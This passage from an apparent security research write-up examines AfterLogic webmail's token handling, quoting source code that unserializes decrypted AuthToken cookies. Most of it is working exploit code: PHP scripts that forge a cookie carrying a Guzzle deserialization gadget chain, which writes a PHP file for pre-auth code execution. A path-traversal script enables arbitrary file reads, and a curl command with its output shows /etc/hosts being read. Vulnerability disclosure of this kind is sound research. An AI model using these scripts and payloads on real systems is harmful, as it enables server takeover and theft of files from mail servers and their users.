{
$mResult = (int) self::$aUserSession['UserId'];
}
else
{
$aInfo = \Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserInfo($sAuthToken);
$mResult = $aInfo['userId'];
self::$aUserSession['UserId'] = (int) $mResult;
self::$aUserSession['AuthToken'] = $sAuthToken;
}
}
else
{
if (is_array(self::$aUserSession) && isset(self::$aUserSession['UserId']))
{
$mResult = self::$aUserSession['UserId'];
}
else
{
$mResult = 0;
}
}
return $mResult;
}
...
public static function DecodeKeyValues($sEncodedValues)
{
$aResult = @\unserialize(
Utils\Crypt::XxteaDecrypt(
Utils::UrlSafeBase64Decode($sEncodedValues), \md5(self::$sSalt))
);
return \is_array($aResult) ? $aResult : array();
}
...
}
File: system/Module/Manager.php
<?php
...
class Manager
{
...
public function loadModules()
{
$oCoreModule = $this->loadModule('Core');
if ($oCoreModule instanceof AbstractModule)
{
$oUser = \Aurora\System\Api::authorise();
$oTenant = null;
if ($oUser instanceof \Aurora\Modules\Core\Classes\User && $oUser->Role !== \Aurora\System\Enums\UserRole::SuperAdmin)
{
$oTenant = \Aurora\Modules\Core\Module::Decorator()->GetTenantUnchecked($oUser->IdTenant);
}
foreach ($this->GetModulesPaths() as $sModuleName => $sModulePath)
{
$bIsModuleDisabledForTenant = \Aurora\Modules\Core\Module::Decorator()->IsModuleDisabledForObject($oTenant, $sModuleName);
$bIsModuleDisabledForUser = \Aurora\Modules\Core\Module::Decorator()->IsModuleDisabledForObject($oUser, $sModuleName);
$bModuleIsDisabled = $this->getModuleConfigValue($sModuleName, 'Disabled', false);
if (!($bIsModuleDisabledForUser || $bIsModuleDisabledForTenant) && !$bModuleIsDisabled)
{
$oLoadedModule = $this->loadModule($sModuleName, $sModulePath);
$bClientModule = $this->isClientModule($sModuleName);
if ($oLoadedModule instanceof AbstractModule || $bClientModule)
{
$this->_aAllowedModulesName[\strtolower($sModuleName)] = $sModuleName;
}
else
{
// \Aurora\System\Api::Log('Module ' . $sModuleName . ' is not allowed. $bModuleLoaded = ' . $oLoadedModule . '. $bClientModule = ' . $bClientModule . '.');
}
}
else
{
// \Aurora\System\Api::Log('Module ' . $sModuleName . ' is not allowed. $bIsModuleDisabledForUser = ' . $bIsModuleDisabledForUser . '. $bModuleIsDisabled = ' . $bModuleIsDisabled . '.');
}
}
}
else
{
echo "Can't load 'Core' Module";
}
}
...
}
File: system/Managers/Integrator.php
...
class Integrator extends AbstractManager
{
...
public function getAuthenticatedUserInfo($sAuthToken = '')
{
$aInfo = array(
'isAdmin' => false,
'userId' => 0,
'accountType' => 0
);
$aAccountHashTable = \Aurora\System\Api::UserSession()->Get($sAuthToken);
if (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
'auth' === $aAccountHashTable['token'] && 0 < strlen($aAccountHashTable['id'])) {
$oUser = $this->GetUser((int) $aAccountHashTable['id']);
if ($oUser instanceof \Aurora\Modules\Core\Classes\User)
{
$aInfo = array(
'isAdmin' => false,
'userId' => (int) $aAccountHashTable['id'],
'account' => isset($aAccountHashTable['account']) ? $aAccountHashTable['account'] : 0,
'accountType' => isset($aAccountHashTable['account_type']) ? $aAccountHashTable['account_type'] : 0,
);
}
}
elseif (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
'admin' === $aAccountHashTable['token'])
{
$aInfo = array(
'isAdmin' => true,
'userId' => -1,
'accountType' => 0
);
}
return $aInfo;
}
...
}
File: system/UserSession.php
<?php
...
class UserSession
{
...
public function Get($sAuthToken)
{
$mResult = false;
if (strlen($sAuthToken) !== 0)
{
$bStoreAuthTokenInDB = \Aurora\Api::GetSettings()->GetValue('StoreAuthTokenInDB', false);
if ($bStoreAuthTokenInDB && !$this->GetFromDB($sAuthToken))
{
return false;
}
$mResult = Api::DecodeKeyValues($sAuthToken);
if ($mResult !== false && isset($mResult['id']))
{
if ((isset($mResult['@ver']) && $mResult['@ver'] !== self::TOKEN_VERSION) || !isset($mResult['@ver']))
{
$mResult = false;
}
else
{
$iExpireTime = (int) isset($mResult['@expire']) ? $mResult['@expire'] : 0;
if ($iExpireTime > 0 && $iExpireTime < time())
{
$mResult = false;
}
else
{
$oUser = \Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserByIdHelper($mResult['id']);
$iTime = (int) $mResult['@time']; // 0 means that signMe was true when user logged in, so there is no need to check it in that case
if ($oUser && $iTime !== 0 && (int) $oUser->TokensValidFromTimestamp > $iTime)
{
$mResult = false;
}
else if ((isset($mResult['sign-me']) && !((bool) $mResult['sign-me'])) || (!isset($mResult['sign-me'])))
{
$iTime = 0;
if (isset($mResult['@time']))
{
$iTime = (int) $mResult['@time'];
}
$iExpireUserSessionsBeforeTimestamp = \Aurora\System\Api::GetSettings()->GetConf("ExpireUserSessionsBeforeTimestamp", 0);
if ($iExpireUserSessionsBeforeTimestamp > $iTime && $iTime > 0)
{
\Aurora\System\Api::Log('User session expired: ');
\Aurora\System\Api::LogObject($mResult);
$mResult = false;
}
}
}
}
}
if ($mResult === false)
{
$this->Delete($sAuthToken);
}
}
return $mResult;
}
...
}
How?
Assuming the contents of file data/salt8.php is
known, we can use the following scripts to generate $_COOKIE['AuthToken']
which, once deserialized, will allow us to write arbitrary files with arbitrary
content thanks to a gadget chain in Guzzle.
Version 8
File: gen_payloads_v8.php
<?php
function UrlSafeBase64Encode($sValue) {
return \rtrim(\strtr(\base64_encode($sValue), '+/', '-_'), '=');
}
function long2str($aV, $aW)
{
$iLen = count($aV);
$iN = ($iLen - 1) << 2;
if ($aW) {
$iM = $aV[$iLen - 1];
if (($iM < $iN - 3) || ($iM > $iN)) {
return false;
}
$iN = $iM;
}
$aS = array();
for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
$aS[$iIndex] = pack('V', $aV[$iIndex]);
}
if ($aW) {
return substr(join('', $aS), 0, $iN);
}
else {
return join('', $aS);
}
}
function int32($iN) {
while ($iN >= 2147483648) {
$iN -= 4294967296;
}
while ($iN <= -2147483649) {
$iN += 4294967296;
}
return (int) $iN;
}
function str2long($sS, $sW) {
$aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
$aV = array_values($aV);
if ($sW) {
$aV[count($aV)] = strlen($sS);
}
return $aV;
}
function XxteaEncrypt($sString, $sKey) {
if (empty($sString)) {
return '';
}
$aV = str2long($sString, true);
$aK = str2long($sKey, false);
if (count($aK) < 4) {
for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
$aK[$iIndex] = 0;
}
}
$iN = count($aV) - 1;
$iZ = $aV[$iN];
$iY = $aV[0];
$iDelta = 0x9E3779B9;
$iQ = floor(6 + 52 / ($iN + 1));
$iSum = 0;
while (0 < $iQ--) {
$iSum = int32($iSum + $iDelta);
$iE = $iSum >> 2 & 3;
for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
{
$iY = $aV[$iPIndex + 1];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
}
$iY = $aV[0];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
}
return long2str($aV, false);
}
function EncodeKeyValues($aValues) {
return UrlSafeBase64Encode(XxteaEncrypt($aValues, \md5('$2y$07$' . SALT . '$')));
}
function gen() {
$payload = "AuthToken=" . EncodeKeyValues(GADGET_CHAIN) . "\n";
return $payload;
}
define('GADGET_CHAIN', 'a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"' . "\x00". 'GuzzleHttp\Cookie\SetCookie' . "\x00". 'data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:19:"<?php phpinfo(); ?>";}}}s:39:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'strictMode";N;s:41:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'filename";s:9:"./poc.php";s:52:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'storeSessionCookies";b:1;}i:7;i:7;}');
define("SALT", $argv[1]);
echo gen();
Version 9 (latest)
File: gen_payloads_v9.php
<?php
function Base64Decode($sString)
{
$sResultString = \base64_decode($sString, true);
if (false === $sResultString)
{
$sString = \str_replace(array(' ', "\r", "\n", "\t"), '', $sString);
$sString = \preg_replace('/[^a-zA-Z0-9=+\/](.*)$/', '', $sString);
if (false !== \strpos(\trim(\trim($sString), '='), '='))
{
$sString = \preg_replace('/=([^=])/', '= $1', $sString);
$aStrings = \explode(' ', $sString);
foreach ($aStrings as $iIndex => $sParts)
{
$aStrings[$iIndex] = \base64_decode($sParts);
}
$sResultString = \implode('', $aStrings);
}
else
{
$sResultString = \base64_decode($sString);
}
}
return $sResultString;
}
function UrlSafeBase64Encode($sValue)
{
return \rtrim(\strtr(\base64_encode($sValue), '+/', '-_'), '=');
}
function str2long($sS, $sW)
{
$aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
$aV = array_values($aV);
if ($sW) {
$aV[count($aV)] = strlen($sS);
}
return $aV;
}
function int32($iN)
{
while ($iN >= 2147483648) {
$iN -= 4294967296;
}
while ($iN <= -2147483649) {
$iN += 4294967296;
}
return (int) $iN;
}
function long2str($aV, $aW)
{
$iLen = count($aV);
$iN = ($iLen - 1) << 2;
if ($aW) {
$iM = $aV[$iLen - 1];
if (($iM < $iN - 3) || ($iM > $iN)) {
return false;
}
$iN = $iM;
}
$aS = array();
for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
$aS[$iIndex] = pack('V', $aV[$iIndex]);
}
if ($aW) {
return substr(join('', $aS), 0, $iN);
} else {
return join('', $aS);
}
}
function XxteaEncrypt($sString, $sKey)
{
if (empty($sString)) {
return '';
}
$aV = str2long($sString, true);
$aK = str2long($sKey, false);
if (count($aK) < 4) {
for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
$aK[$iIndex] = 0;
}
}
$iN = count($aV) - 1;
$iZ = $aV[$iN];
$iY = $aV[0];
$iDelta = 0x9E3779B9;
$iQ = floor(6 + 52 / ($iN + 1));
$iSum = 0;
while (0 < $iQ--) {
$iSum = int32($iSum + $iDelta);
$iE = $iSum >> 2 & 3;
for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++) {
$iY = $aV[$iPIndex + 1];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
}
$iY = $aV[0];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
}
return long2str($aV, false);
}
function EncryptValue($sValue)
{
$mKey = ctype_xdigit(SALT) ? hex2bin(SALT) : SALT;
$sEncryptedValue = XxteaEncrypt($sValue, $mKey);
return @trim(UrlSafeBase64Encode($sEncryptedValue));
}
function EncodeKeyValues($aValues)
{
return UrlSafeBase64Encode(
EncryptValue($aValues)
);
}
function gen() {
$payload = "AuthToken=" . EncodeKeyValues(GADGET_CHAIN, SALT) . "\n";
return $payload;
}
define('GADGET_CHAIN', 'a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"' . "\x00". 'GuzzleHttp\Cookie\SetCookie' . "\x00". 'data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:19:"<?php phpinfo(); ?>";}}}s:39:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'strictMode";N;s:41:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'filename";s:9:"./poc.php";s:52:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'storeSessionCookies";b:1;}i:7;i:7;}');
define("SALT", $argv[1]);
echo gen();
So we’ve just demonstrated that it’s possible to have a pre-auth RCE if we know the contents of file data/salt8.php. But as I said in the introduction, I currently have no way of obtaining the contents of this file for versions 8 and 9, unless if you know the date (down to the microsecond) of installation of the application.
However, for versions <= 7, it is possible to obtain the contents of the equivalent file data/salt.php using CVE-2021-26294.
UPDATE 2023-07-29:
AfterLogic <= 7, Arbitrary File Read (post-auth)
During my audit (during the Black Box part), I was able to find an authenticated Arbitrary File Read:
Here’s the script for generating part of the URL:
File: file_read.php
<?php
function UrlSafeBase64Encode($sValue) {
return str_replace(array('+', '/', '='), array('-', '_', '.'), base64_encode($sValue));
}
function long2str($aV, $aW) {
$iLen = count($aV);
$iN = ($iLen - 1) << 2;
if ($aW) {
$iM = $aV[$iLen - 1];
if (($iM < $iN - 3) || ($iM > $iN)) {
return false;
}
$iN = $iM;
}
$aS = array();
for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
$aS[$iIndex] = pack('V', $aV[$iIndex]);
}
if ($aW) {
return substr(join('', $aS), 0, $iN);
}
else {
return join('', $aS);
}
}
function int32($iN) {
while ($iN >= 2147483648) {
$iN -= 4294967296;
}
while ($iN <= -2147483649) {
$iN += 4294967296;
}
return (int) $iN;
}
function str2long($sS, $sW) {
$aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
$aV = array_values($aV);
if ($sW) {
$aV[count($aV)] = strlen($sS);
}
return $aV;
}
function XxteaEncrypt($sString, $sKey) {
if (empty($sString)) {
return '';
}
$aV = str2long($sString, true);
$aK = str2long($sKey, false);
if (count($aK) < 4) {
for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
$aK[$iIndex] = 0;
}
}
$iN = count($aV) - 1;
$iZ = $aV[$iN];
$iY = $aV[0];
$iDelta = 0x9E3779B9;
$iQ = floor(6 + 52 / ($iN + 1));
$iSum = 0;
while (0 < $iQ--) {
$iSum = int32($iSum + $iDelta);
$iE = $iSum >> 2 & 3;
for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
{
$iY = $aV[$iPIndex + 1];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
}
$iY = $aV[0];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
}
return long2str($aV, false);
}
function EncodeKeyValues($aValues, $iSaltLen = 32) {
return UrlSafeBase64Encode(XxteaEncrypt($aValues, substr(md5(SALT), 0, $iSaltLen)));
}
function gen_url() {
$payload = EncodeKeyValues(ORIGINAL_PAYLOAD) . "\n";
return $payload;
}
if ($argv[1] == "gen_data") {
$token = array(
"Type" => "personal",
"Path" => "....//....//....//....//....//....//....//....//....//" . dirname($argv[3]),
"Name" => basename($argv[3]),
"MimeType" => "text/plain",
);
define("SALT", $argv[2]);
define('ORIGINAL_PAYLOAD', serialize($token));
echo gen_url();
}
Example:
First generate part of the URL:
$ php file_read.php gen_data \$2y\$07\$0bd2459d55463635ccd716fb5b478291\$ /etc/hosts
57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww..
Then all you have to do is use the generate string in the following URL:
- http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/<GENERATED_STRING>/0/
Which gives us in our example:
- http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww../0/
$ curl -X GET -H "Cookie: p7auth=Wlo3HtvkghOnxdbPpAq_DvN2I-Yuz-BBq8U2-j8gHpJF_s6_Fi35HbcZ49Kkon6CrXCMZFXtGHKjjbTltJtpgvqrDhofDVQmvAQ8tTgeZoSrXIDzwMM-uuZwDZJBqWEh0Qy1iueF3VBllZxi9Rb-ovbQBOiuSIiq95f3s8X0mzCbeIcSqJkFhvaAnySVoifaavVFhG0IGDe1MjM99hMbMw.." "http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww../0/"
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.65.254 host.docker.internal
172.20.0.3 233600ba332c
Thank you for taking the time to read this article.